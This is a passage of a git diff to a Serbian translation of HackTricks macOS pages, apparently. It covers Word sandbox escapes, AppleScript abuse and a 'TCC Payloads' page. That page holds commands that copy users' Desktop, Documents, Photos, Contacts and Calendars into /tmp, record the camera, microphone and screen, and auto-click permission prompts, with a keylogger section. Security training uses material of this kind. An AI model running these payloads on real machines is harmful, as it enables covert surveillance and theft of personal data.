`~/Library` nije kreiran, bilo je moguće **zipovati plist u `LaunchAgents/~$escape.plist`** i **staviti** zip fajl u **`~/Library`** tako da kada se raspakuje, doći će do odredišta za postojanost. -Pogledajte [**originalni izveštaj ovde**](https://objective-see.org/blog/blog\_0x4B.html). +Check the [**original report here**](https://objective-see.org/blog/blog\_0x4B.html). -### Bypass Sandbox-a u Word-u putem Login stavki i .zshenv +### Word Sandbox bypass via Login Items and .zshenv -(Zapamtite da od prvog bekstva, Word može pisati proizvoljne fajlove čije ime počinje sa `~$`). +(Zapamtite da iz prvog bekstva, Word može pisati proizvoljne fajlove čija imena počinju sa `~$`). -Međutim, prethodna tehnika je imala ograničenje, ako folder **`~/Library/LaunchAgents`** postoji jer ga je neki drugi softver kreirao, ona bi propala. Zato je otkrivena druga Login stavka za ovo. +Međutim, prethodna tehnika imala je ograničenje, ako folder **`~/Library/LaunchAgents`** postoji jer ga je neka druga aplikacija kreirala, to bi propalo. Tako je otkrivena drugačija lanac Login Items za ovo. -Napadač bi mogao kreirati fajlove **`.bash_profile`** i **`.zshenv`** sa payload-om za izvršavanje, a zatim ih zapakovati i **zapisati zip u korisnički folder** žrtve: **`~/~$escape.zip`**. +Napadač bi mogao kreirati fajlove **`.bash_profile`** i **`.zshenv`** sa teretom za izvršavanje, a zatim ih zipovati i **pisati zip u folder korisnika žrtve**: **`~/~$escape.zip`**. -Zatim, dodajte zip fajl u **Login stavke**, a zatim i **aplikaciju Terminal**. Kada se korisnik ponovo prijavi, zip fajl će biti dekompresovan u korisnički fajl, prebrisavajući **`.bash_profile`** i **`.zshenv`** i stoga će terminal izvršiti jedan od ovih fajlova (zavisno od toga da li se koristi bash ili zsh). +Zatim, dodajte zip fajl u **Login Items** i zatim aplikaciju **`Terminal`**. Kada se korisnik ponovo prijavi, zip fajl bi bio raspakovan u korisničkom folderu, prepisujući **`.bash_profile`** i **`.zshenv`** i stoga će terminal izvršiti jedan od ovih fajlova (u zavisnosti od toga da li se koristi bash ili zsh). -Pogledajte [**originalni izveštaj ovde**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). +Check the [**original report here**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). -### Bypass Sandbox-a u Word-u sa Open i env promenljivama +### Word Sandbox Bypass with Open and env variables -Iz sandbox procesa i dalje je moguće pozvati druge procese koristeći alatku **`open`**. Osim toga, ovi procesi će se izvršavati **unutar svog sopstvenog sandbox-a**. +Iz sandboxovanih procesa još uvek je moguće pozvati druge procese koristeći **`open`** alat. Štaviše, ovi procesi će se izvršavati **unutar svog vlastitog sandbox-a**. -Otkriveno je da open alatka ima opciju **`--env`** za pokretanje aplikacije sa **specifičnim env promenljivama**. Stoga je bilo moguće kreirati **`.zshenv` fajl** unutar foldera **unutar** sandbox-a i koristiti `open` sa `--env` postavljajući **`HOME` promenljivu** na taj folder otvarajući tu `Terminal` aplikaciju, koja će izvršiti `.zshenv` fajl (iz nekog razloga bilo je potrebno i postaviti promenljivu `__OSINSTALL_ENVIROMENT`). +Otkriveno je da open alat ima opciju **`--env`** za pokretanje aplikacije sa **specifičnim env** varijablama. Stoga, bilo je moguće kreirati **`.zshenv` fajl** unutar foldera **unutar** **sandbox-a** i koristiti `open` sa `--env` postavljajući **`HOME` varijablu** na taj folder otvarajući aplikaciju `Terminal`, koja će izvršiti `.zshenv` fajl (iz nekog razloga takođe je bilo potrebno postaviti varijablu `__OSINSTALL_ENVIROMENT`). -Pogledajte [**originalni izveštaj ovde**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). +Check the [**original report here**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). -### Bypass Sandbox-a u Word-u sa Open i stdin +### Word Sandbox Bypass with Open and stdin -Alatka **`open`** takođe podržava parametar **`--stdin`** (a nakon prethodnog bypass-a više nije bilo moguće koristiti `--env`). +Alat **`open`** takođe podržava parametar **`--stdin`** (i nakon prethodnog zaobilaženja više nije bilo moguće koristiti `--env`). -Stvar je u tome da čak i ako je **`python`** potpisan od strane Apple-a, **neće izvršiti** skriptu sa **`quarantine`** atributom. Međutim, bilo je moguće proslediti mu skriptu putem stdin-a tako da neće proveravati da li je karantinirana ili ne: +Stvar je u tome da čak i ako je **`python`** potpisan od strane Apple-a, **neće izvršiti** skriptu sa **`quarantine`** atributom. Međutim, bilo je moguće proslediti mu skriptu iz stdin-a tako da neće proveravati da li je bila u karantinu ili ne: -1. Ubacite fajl **`~$exploit.py`** sa proizvoljnim Python komandama. -2. Pokrenite _open_ **`–stdin='~$exploit.py' -a Python`**, što pokreće Python aplikaciju sa našim ubačenim fajlom kao standardni ulaz. Python srećno izvršava naš kod i pošto je to podproces _launchd_-a, nije vezan za Word-ova pravila sandbox-a. +1. Postavite **`~$exploit.py`** fajl sa proizvoljnim Python komandama. +2. Pokrenite _open_ **`–stdin='~$exploit.py' -a Python`**, što pokreće Python aplikaciju sa našim postavljenim fajlom kao njenim standardnim ulazom. Python rado izvršava naš kod, a pošto je to podproces _launchd_, nije vezan za pravila Word-ovog sandbox-a. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index 80d6e9977..04147676b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,54 +1,56 @@ -# macOS Apple skripte +# macOS Apple Scripts + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Apple skripte +## Apple Scripts -To je skriptni jezik koji se koristi za automatizaciju zadataka **interakcijom sa udaljenim procesima**. Olakšava **zahtevanje drugih procesa da izvrše određene radnje**. **Malver** može zloupotrebiti ove funkcije kako bi zloupotrebio funkcije izvožene od strane drugih procesa.\ -Na primer, malver bi mogao **ubaciti proizvoljni JS kod na otvorene stranice pregledača**. Ili **automatski kliknuti** na dozvole koje korisniku traže. +To je jezik skriptinga koji se koristi za automatizaciju zadataka **interakcijom sa udaljenim procesima**. Omogućava prilično lako **traženje od drugih procesa da izvrše neke radnje**. **Malver** može zloupotrebiti ove funkcije da bi iskoristio funkcije koje izlažu drugi procesi.\ +Na primer, malver bi mogao **ubaciti proizvoljni JS kod u otvorene stranice pretraživača**. Ili **automatski kliknuti** na neka dozvoljena ovlašćenja koja se traže od korisnika; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` Evo nekoliko primera: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -Pronađite više informacija o malveru koji koristi Apple skripte [**ovde**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). +Pronađite više informacija o malveru koristeći applescripts [**ovde**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). -Apple skripte se mogu lako "**kompajlirati**". Ove verzije se mogu lako "**dekompajlirati**" pomoću `osadecompile`. +Apple skripte se mogu lako "**kompilirati**". Ove verzije se mogu lako "**dekompilirati**" pomoću `osadecompile` -Međutim, ove skripte takođe mogu biti **izvežene kao "Samo za čitanje"** (putem opcije "Izvezi..."): +Međutim, ove skripte se takođe mogu **izvesti kao "Samo za čitanje"** (putem opcije "Izvezi..."):
``` file mal.scpt mal.scpt: AppleScript compiled ``` -U ovom slučaju sadržaj ne može biti dekompiliran čak ni sa `osadecompile`. +i u ovom slučaju sadržaj se ne može dekompilirati čak ni sa `osadecompile` -Međutim, i dalje postoje alati koji se mogu koristiti za razumevanje ovakvih izvršnih datoteka, [**pročitajte ovaj istraživački rad za više informacija**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Alat [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) sa [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) će biti veoma koristan za razumevanje kako skripta radi. +Međutim, još uvek postoje neki alati koji se mogu koristiti za razumevanje ovakvih izvršnih datoteka, [**pročitajte ovo istraživanje za više informacija**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Alat [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) sa [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) biće veoma koristan za razumevanje kako skripta funkcioniše. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini da podržite HackTricks: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index 176c22be9..0c27b8703 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,28 +1,28 @@ # macOS TCC Payloads +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ### Desktop -* **Ovlašćenje**: Nijedno +* **Entitlement**: Nema * **TCC**: kTCCServiceSystemPolicyDesktopFolder {% tabs %} {% tab title="ObjetiveC" %} -Kopiraj `$HOME/Desktop` u `/tmp/desktop`. - +Kopirajte `$HOME/Desktop` u `/tmp/desktop`. ```objectivec #include #include @@ -57,8 +57,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Kopiraj `$HOME/Desktop` u `/tmp/desktop`. - +Kopirajte `$HOME/Desktop` u `/tmp/desktop`. ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` @@ -67,15 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop" ### Dokumenti -* **Ovlašćenje**: Nijedno +* **Ovlašćenje**: Nema * **TCC**: `kTCCServiceSystemPolicyDocumentsFolder` {% tabs %} -{% tab title="undefined" %} -Kopiraj `$HOME/Documents` u `/tmp/documents`. -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} +Kopirajte `$HOME/Documents` u `/tmp/documents`. ```objectivec #include #include @@ -110,8 +106,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Kopiraj `$HOME/`Documents u `/tmp/documents`. - +Kopirajte `$HOME/`Documents u `/tmp/documents`. ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` @@ -120,13 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents" ### Preuzimanja -* **Ovlašćenje**: Nijedno +* **Ovlašćenje**: Nema * **TCC**: `kTCCServiceSystemPolicyDownloadsFolder` {% tabs %} {% tab title="ObjetiveC" %} -Kopiraj `$HOME/Downloads` u `/tmp/downloads`. - +Kopirajte `$HOME/Downloads` u `/tmp/downloads`. ```objectivec #include #include @@ -161,8 +155,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Kopiraj `$HOME/Dowloads` u `/tmp/downloads`. - +Kopirajte `$HOME/Dowloads` u `/tmp/downloads`. ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` @@ -176,8 +169,7 @@ cp -r "$HOME/Downloads" "/tmp/downloads" {% tabs %} {% tab title="ObjetiveC" %} -Kopiraj `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`. - +Kopirajte `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`. ```objectivec #include #include @@ -212,8 +204,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Kopiraj `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`. - +Kopirajte `$HOME/Pictures/Photos Library.photoslibrary` u `/tmp/photos`. ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -227,8 +218,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" {% tabs %} {% tab title="ObjetiveC" %} -Kopiraj `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`. - +Kopirajte `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`. ```objectivec #include #include @@ -263,8 +253,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Kopiraj `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`. - +Kopirajte `$HOME/Library/Application Support/AddressBook` u `/tmp/contacts`. ```bash cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ``` @@ -278,8 +267,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" {% tabs %} {% tab title="ObjectiveC" %} -Kopiraj `$HOME/Library/Calendars` u `/tmp/calendars`. - +Kopirajte `$HOME/Library/Calendars` u `/tmp/calendars`. ```objectivec #include #include @@ -314,16 +302,21 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Kopiraj `$HOME/Library/Calendars` u `/tmp/calendars`. - +Kopirajte `$HOME/Library/Calendars` u `/tmp/calendars`. ```bash cp -r "$HOME/Library/Calendars" "/tmp/calendars" ``` +{% endtab %} +{% endtabs %} + +### Kamera + +* **Ovlašćenje**: `com.apple.security.device.camera` +* **TCC**: `kTCCServiceCamera` {% tabs %} {% tab title="ObjetiveC - Snimanje" %} -Snimi 3 sekunde dug video i sačuvaj ga u **`/tmp/recording.mov`** - +Snimite 3s video i sačuvajte ga u **`/tmp/recording.mov`** ```objectivec #import #import @@ -403,7 +396,6 @@ fclose(stderr); // Close the file stream {% tab title="ObjectiveC - Provera" %} Proverite da li program ima pristup kameri. - ```objectivec #import #import @@ -436,25 +428,21 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Napravite fotografiju kamerom - +Napravite fotografiju pomoću kamere ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` {% endtab %} {% endtabs %} -#### Mikrofon +### Mikrofoni * **Ovlašćenje**: **com.apple.security.device.audio-input** * **TCC**: `kTCCServiceMicrophone` {% tabs %} -{% tab title="undefined" %} -Snimi 5 sekundi zvuka i sačuvaj ga u `/tmp/recording.m4a` -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjetiveC - Snimanje" %} +Snimite 5s zvuka i sačuvajte ga u `/tmp/recording.m4a` ```objectivec #import #import @@ -555,7 +543,6 @@ fclose(stderr); // Close the file stream {% tab title="ObjectiveC - Provera" %} Proverite da li aplikacija ima pristup mikrofonu. - ```objectivec #import #import @@ -586,8 +573,7 @@ static void telegram(int argc, const char **argv) { {% endtab %} {% tab title="Shell" %} -Snimi 5s audio i sačuvaj ga u `/tmp/recording.wav` - +Snimi 5s zvuka i sačuvaj ga u `/tmp/recording.wav` ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -597,10 +583,10 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav {% endtab %} {% endtabs %} -#### Lokacija +### Lokacija {% hint style="success" %} -Da bi aplikacija dobila lokaciju, **Usluge lokacije** (iz sekcije Privatnost i Sigurnost) **mora biti omogućeno,** inače neće biti u mogućnosti pristupiti joj. +Da bi aplikacija dobila lokaciju, **Usluge lokacije** (iz Privatnosti i bezbednosti) **moraju biti omogućene,** inače neće moći da joj pristupi. {% endhint %} * **Ovlašćenje**: `com.apple.security.personal-information.location` @@ -608,8 +594,7 @@ Da bi aplikacija dobila lokaciju, **Usluge lokacije** (iz sekcije Privatnost i S {% tabs %} {% tab title="ObjectiveC" %} -Zapiši lokaciju u `/tmp/logs.txt` - +Napišite lokaciju u `/tmp/logs.txt` ```objectivec #include #include @@ -660,22 +645,20 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% tab title="Shell" %} Dobijte pristup lokaciji - ``` ??? ``` {% endtab %} {% endtabs %} -#### Snimanje ekrana +### Snimanje ekrana -* **Ovlašćenje**: Nijedno +* **Ovlašćenje**: Nema * **TCC**: `kTCCServiceScreenCapture` {% tabs %} {% tab title="ObjectiveC" %} -Snimite glavni ekran 5 sekundi u `/tmp/screen.mov` - +Snimite glavni ekran tokom 5s u `/tmp/screen.mov` ```objectivec #import #import @@ -732,21 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -Snimi glavni ekran 5 sekundi - +Snimi glavni ekran na 5s ```bash screencapture -V 5 /tmp/screen.mov ``` {% endtab %} {% endtabs %} -#### Pristupačnost +### Pristupačnost -* **Ovlašćenje**: Nijedno +* **Ovlašćenje**: Nema * **TCC**: `kTCCServiceAccessibility` -Koristite TCC privilegiju da prihvatite kontrolu nad Finderom pritiskom na enter i na taj način zaobiđete TCC. +Iskoristite TCC privilegiju da prihvatite kontrolu nad Finder-om pritiskom na enter i tako zaobiđete TCC +{% tabs %} +{% tab title="Prihvati TCC" %} ```objectivec #import #import @@ -801,7 +785,6 @@ return 0; {% tab title="Keylogger" %} Skladišti pritisnute tastere u **`/tmp/keystrokes.txt`** - ```objectivec #import #import @@ -909,19 +892,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -**Pristupačnost je veoma moćna dozvola**, možete je zloupotrebiti na druge načine, na primer možete izvršiti napad pomoću tastature samo iz nje, bez potrebe da pozivate Sistemski događaji. +**Pristup je veoma moćna dozvola**, možete je zloupotrebiti na druge načine, na primer, možete izvršiti **napad na pritiske tastera** samo iz nje bez potrebe da pozivate System Events. {% endhint %} +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} diff --git a/misc/references.md b/misc/references.md index acf3da03e..d896d20f8 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} {% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} @@ -60,16 +61,17 @@ Drugi načini podrške HackTricks-u: {% embed url="https://ippsec.rocks/" %} +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i 